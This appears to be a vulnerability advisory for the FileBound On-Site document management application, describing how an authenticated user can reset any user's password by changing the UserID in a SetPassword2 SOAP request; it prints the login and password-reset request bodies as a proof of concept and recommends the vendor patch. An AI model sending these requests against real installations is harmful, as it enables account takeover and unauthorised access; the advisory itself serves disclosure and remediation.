  Details.
  The FileBound On-Site document management application is 
  vulnerable to a privilege escalation attack by sending a 
  modified password request to the FileBound web service.
  By modifying the UserID value you can reset the password 
  of any local user in the application without requiring 
  administrative privileges.
  
  Proof of Concept.
  Authenticate to FileBound via the following web service 
  method and SOAP request:
  
  http://www.company.com/Filebound.asmx?op=Login
   <soapenv:Body>
  <fil:Login>
   <fil:UserName>sosuser</fil:UserName>
   <fil:Password>daisyp0p</fil:Password>
  </fil:Login>
   </soapenv:Body>
  
  After authentication a request can be sent to the following 
  administrator's password reset web service method and 
  SOAP request:
  
  http://www.company.com/Filebound.asmx?op=SetPassword2
   <soapenv:Body>
  <fil:SetPassword2>
   <fil:UserID>32</fil:UserID>
   <fil:Password>lightsouthern</fil:Password>
   <fil:ResetPasswordExpires>0</fil:ResetPasswordExpires>
  </fil:SetPassword2>
   </soapenv:Body>
  
  By modifying the UserID value the password can be reset for
  any existing user in the system. A response code of -1 
  confirms the password reset was successful.
  
  Solution.
  Install the latest vendor patch.
